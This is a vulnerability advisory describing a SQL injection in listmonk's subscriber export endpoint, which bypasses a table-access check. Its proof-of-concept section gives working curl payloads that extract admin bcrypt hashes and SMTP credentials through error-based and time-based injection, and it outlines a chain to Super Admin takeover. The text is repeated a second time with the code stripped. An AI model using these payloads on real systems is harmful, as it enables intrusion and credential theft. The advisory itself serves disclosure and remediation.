Summary
A SQL injection vulnerability in GET /api/subscribers/export allows an authenticated user with the subscribers:sql_query permission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — including users (bcrypt password hashes) and settings (SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path: subscribers:sql_query → hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.
Details
The subscriber query feature accepts a user-controlled query parameter that is injected directly into a SQL template via strings.ReplaceAll. The regular query endpoint GET /api/subscribers correctly calls validateQueryTables to block access to sensitive tables before execution. The export endpoint GET /api/subscribers/export omits this call entirely, creating an asymmetric bypass of an intentional security control.
internal/core/subscribers.go — protected path (regular query):
// QuerySubscribers — table validation present
stmt := strings.ReplaceAll(c.q.QuerySubscribersTpl, "%query%", cond)
if err := validateQueryTables(c.db, stmt, allowedSubQueryTables); err != nil {
return nil, 0, echo.NewHTTPError(http.StatusBadRequest,
fmt.Sprintf("Error preparing subscriber query: %v", err))
}
internal/core/subscribers.go — vulnerable path (export):
// ExportSubscribers — NO table validation
stmt := strings.ReplaceAll(c.q.QuerySubscribersForExport, "%query%", cond)
tx, err := c.db.Preparex(stmt) // executes directly without restriction
queries/subscribers.sql — the %query% placeholder is injected into a WHERE clause:
SELECT subscribers.id, subscribers.email, ...
FROM subscribers
LEFT JOIN subscriber_lists ON ...
WHERE (subscribers.status != 'blocklisted') AND %query%
ORDER BY subscribers.id ASC LIMIT ...
Because the export path does not run inside a ReadOnly transaction (unlike the dry-run used in QuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.
PoC
Prerequisites: Authenticated session with subscribers:sql_query and subscribers:get_all permissions.
Step 1 — Confirm the bypass (blocked on query, open on export):
# Blocked on regular endpoint:
curl -s "http://TARGET:9000/api/subscribers?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 400: {"message":"Error preparing subscriber query: table 'users' is not allowed"}
# Bypassed on export endpoint:
curl -s "http://TARGET:9000/api/subscribers/export?query=(SELECT+1+FROM+users+LIMIT+1)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# → HTTP 200: returns subscriber rows with no error
Step 2 — Error-based exfiltration of admin password hash:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+password+FROM+users+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\""
}
Step 3 — Error-based exfiltration of SMTP credentials:
curl -s "http://TARGET:9000/api/subscribers/export?\
query=CAST((SELECT+value::text+FROM+settings+WHERE+key='smtp'+LIMIT+1)+AS+integer)+>+0" \
-H "Cookie: session=SESSION_TOKEN"
Response:
{
"message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\""
}
Step 4 — Time-based blind confirmation:
time curl -s "http://TARGET:9000/api/subscribers/export?query=pg_sleep(3)+IS+NOT+NULL" \
-H "Cookie: session=SESSION_TOKEN"
# Returns after ~3 seconds — confirms arbitrary SQL function execution
Impact
This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the subscribers:sql_query permission can:
- Read bcrypt password hashes of all admin accounts (including Super Admin)
- Extract SMTP credentials, API keys, and all values stored in the
settings table
- Chain with offline bcrypt cracking (cost factor 6, fast to crack) for full account takeover
- Execute data-modifying SQL via PostgreSQL CTEs (write impact)
Attack chain: subscribers:sql_query → SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.
This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies validateQueryTables to prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.
Summary
A SQL injection vulnerability in
GET /api/subscribers/exportallows an authenticated user with thesubscribers:sql_querypermission to bypass the table access control that exists on the regular query endpoint (GET /api/subscribers) and read arbitrary tables from the database — includingusers(bcrypt password hashes) andsettings(SMTP credentials, API keys). Both error-based and time-based exfiltration techniques are confirmed to work. This creates a privilege escalation path:subscribers:sql_query→ hash exfiltration → offline bcrypt crack (cost factor 6) → Super Admin account takeover.Details
The subscriber query feature accepts a user-controlled
queryparameter that is injected directly into a SQL template viastrings.ReplaceAll. The regular query endpointGET /api/subscriberscorrectly callsvalidateQueryTablesto block access to sensitive tables before execution. The export endpointGET /api/subscribers/exportomits this call entirely, creating an asymmetric bypass of an intentional security control.internal/core/subscribers.go— protected path (regular query):internal/core/subscribers.go— vulnerable path (export):queries/subscribers.sql— the%query%placeholder is injected into a WHERE clause:Because the export path does not run inside a
ReadOnlytransaction (unlike the dry-run used inQuerySubscribers), PostgreSQL CTEs with data-modifying statements (WITH ... UPDATE ... RETURNING) are also executable, enabling write operations beyond read-only exfiltration.PoC
Prerequisites: Authenticated session with
subscribers:sql_queryandsubscribers:get_allpermissions.Step 1 — Confirm the bypass (blocked on query, open on export):
Step 2 — Error-based exfiltration of admin password hash:
Response:
{ "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"$2a$06$vI8n66eJwWCQDms5d47up.TmBYUsxRF13sw8efTh8TCyMQVLX2cn.\"" }Step 3 — Error-based exfiltration of SMTP credentials:
Response:
{ "message": "Error fetching Subscribers: pq: invalid input syntax for type integer: \"[{\"host\": \"smtp.yoursite.com\", \"port\": 25, \"enabled\": true, \"password\": \"...\", \"username\": \"...\"}]\"" }Step 4 — Time-based blind confirmation:
Impact
This is a SQL injection vulnerability that bypasses an intentional security control. Any user with the
subscribers:sql_querypermission can:settingstableAttack chain:
subscribers:sql_query→ SQLi on export → bcrypt hash exfiltration → offline crack → Super Admin takeover → full instance compromise.This finding is distinct from the accepted risk in listmonk's security policy ("SQL injection via subscriber query is a known limitation"). The regular query endpoint correctly applies
validateQueryTablesto prevent access to sensitive tables. The export endpoint is missing that same guard — this is an implementation gap in a deliberate security control, not an accepted design limitation.